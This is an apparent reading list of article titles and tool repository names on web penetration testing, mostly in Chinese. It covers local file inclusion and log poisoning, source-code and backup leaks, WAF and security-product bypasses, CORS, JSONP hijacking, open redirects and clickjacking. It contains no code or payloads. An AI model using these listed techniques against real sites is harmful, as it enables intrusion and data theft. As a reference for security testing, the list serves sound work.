本地文件包含漏洞利用技巧
Directory Traversal, File Inclusion, and The Proc File System
Exploiting PHP File Inclusion - Overview | Reiners' Weblog
Local File Inclusion with Magic_quotes_gpc enabled - NotSoSecure
Positive Technologies - learn and secure : Another alternative for NULL byte
远程包含和本地包含漏洞的原理 - Kevins 的天空
聊聊安全测试中如何快速搞定Webshell
IKEA官网本地文件包含(LFI)漏洞分析
RCE with LFI and SSH Log Poisoning
Apache Log Poisoning through LFI
From Local File Inclusion to Remote Code Execution - Part 1 | Outpost 24 blog
SMTP Log Poisioning through LFI to Remote Code Execution
解析漏洞总结 - erevus
网站安全狗IIS6.0解析webshell访问限制bypass
网站安全狗免杀神技+IIS6.0解析WebShell访问限制Bypass
网站安全狗IIS6.0解析webshell访问拦截bypass
桃源网络硬盘&IIS6.0解析漏洞
用友软件某分站SQL注入漏洞+nginx解析漏洞
新浪网分站多处安全漏洞(nginx解析+SQL注射等)小礼包
kingsoft.com某x级域名nginx解析漏洞+爆路径
安卓开发平台存在上传漏洞和 Apache 解析漏洞,成功获取 webshell
谈谈源码泄露
敏感文件泄露
lijiejie/BBScan
jerrychan807/WSPIH
ring04h/weakfilescan
0xHJK/dumpall
donot-wong/sensinfor
大众点评某站点 git 泄漏源代码
lijiejie/GitHack
gakki429/Git_Extract
我爱我家某处源码泄露
kost/dvcs-ripper
admintony/svnExploit
kost/dvcs-ripper
TCL 某网站 DS_Store 文件泄露敏感信息
lijiejie/ds_store_exp
anantshri/DS_Store_crawler_parser
gehaxelt/Python-dsstore
百度某分站备份文件泄露
乐友商城 24GB 代码与数据库敏感文件泄露
bufsnake/blueming
oscommonjs/scan-backup-langzi-
VMsec/ihoneyBakFileScan_Modify
华为官网 WEB-INF 目录配置文件导致信息泄露
lijiejie/idea_exploit
JS 敏感信息泄露:不容忽视的 WEB 漏洞
Making use of Javascript (.JS) files
从JS信息泄露到Webshell
一次有意思的js未授权访问
JS 接口导致信息泄露
m4ll0k/SecretFinder
Threezh1/JSFinder
关于Swagger-UI下的渗透实战
接口文档下的渗透测试
lijiejie/swagger-exp
jayus0821/swagger-hack
【技术分享】针对SOAP的渗透测试与防护
Web Service渗透测试
WSDL测试webservice接口指南
BountyHunterInChina/重生之我是赏金猎人(四)—记一次有趣的客户端RCE+服务端XXE挖掘.pdf
SmartBear/soapui
NetSPI/Wsdler
ReadyAPI
Web 应用里的 HTTP 参数污染 (HPP) 漏洞
浅谈绕过 waf 的数种方法
通过 HTTP 参数污染绕过 WAF 拦截
通过 HTTP 参数污染绕过 reCAPTCHA 认证
新浪某站CRLF Injection导致的安全问题
dwisiswant0/crlfuzz
检测到目标url存在框架注入漏洞_HOST注入攻击剖析
超详细http host注入攻击原理详解及漏洞利用
安服仔小工具-Host注入
服务器端包含注入SSI分析总结
Apache SSI 远程命令执行漏洞(SSI注入漏洞)
表达式注入
利用WebSocket接口中转注入渗透实战
IKEA官网本地文件包含(LFI)漏洞分析
Abusing Reverse Proxies, Part 1: Metadata
Abusing Reverse Proxies, Part 2: Internal Access
新浪HTTP代理配置不当漫游内网
陌陌一处代理配置不当,已验证可绕过IP过滤探测敏感资源
陌陌web服务器Path处理不当可以正向代理(idc机器/打不到办公网)
挖洞经验之代理不当日进内网
价值1万美金的谷歌内部主机信息泄露漏洞
Cloud Penetration Testing the Capital One Breach
JSONP与CORS漏洞挖掘
认识CORS漏洞
浅析CORS攻击及其挖洞思路
CORS跨域漏洞学习
CORS Misconfiguration, could lead to disclosure of sensitive information
看我如何绕过Yahoo!View的CORS限制策略
chenjj/CORScanner
Santandersecurityresearch/corsair_scan
s0md3v/Corsy
incredibleindishell/CORS_vulnerable_Lab-Without_Database
CSRF 漏洞的末日?关于 Cookie SameSite 那些你不得不知道的事
merttasci/csrf-poc-generator
jsonp 原理详解——终于搞清楚 jsonp 是啥了
JSONP 安全攻防技术
浏览网页就能泄露手机号的小秘密
渗透测试-JSONP数据劫持漏洞
中国联通某站 jsonp 接口跨域导致信息泄漏并可开通某些套餐 (运营商额外插入功能带来的风险)
京东商城 JSONP+CSRF 导致某处信息泄露
迅雷某站 jsonp 劫持漏洞泄漏会话 ID,cookie
唯品会某处 JSONP+CSRF 泄露重要信息
新浪微博之点击我的链接就登录你的微博(JSONP 劫持)
苏宁易购多接口问题可泄露用户姓名、地址、订单商品 (jsonp 案例)
通过 jsonp 可以获得当前用户的 QQ+crsf 刷收听
利用 JSONP 劫持可以泄漏 QQ 号
京东商城某处 jsonp 接口可泄露任意用户的搜索记录
新浪微博 JSONP 劫持之点我链接开始微博蠕虫+刷粉丝
fanwe O2O 用户密码可劫持 (通用/开源软件 jsonp 劫持案例)
p1g3/JSONP-Hunter
浅析同源方式执行(SOME)攻击
Same Origin Method Execution
$7.5k Google Cloud Platform organization issue
从微信群不良广告到酷我音乐存储型XSS再到乐视url跳转
URL 重定向及跳转漏洞
分享几个绕过 URL 跳转限制的思路
浅析渗透实战中url跳转漏洞
Open Redirect and Its Bypasses - Bug Bounty
浅谈URL跳转漏洞的绕过与修复
devanshbatham/OpenRedireX
二维码劫持案例分析
click-jacking
Uber XSS + clickjacking
Stealing your private documents through a bug in Google Docs
Twitter Periscope Clickjacking Vulnerability
Clickjacking at ylands.com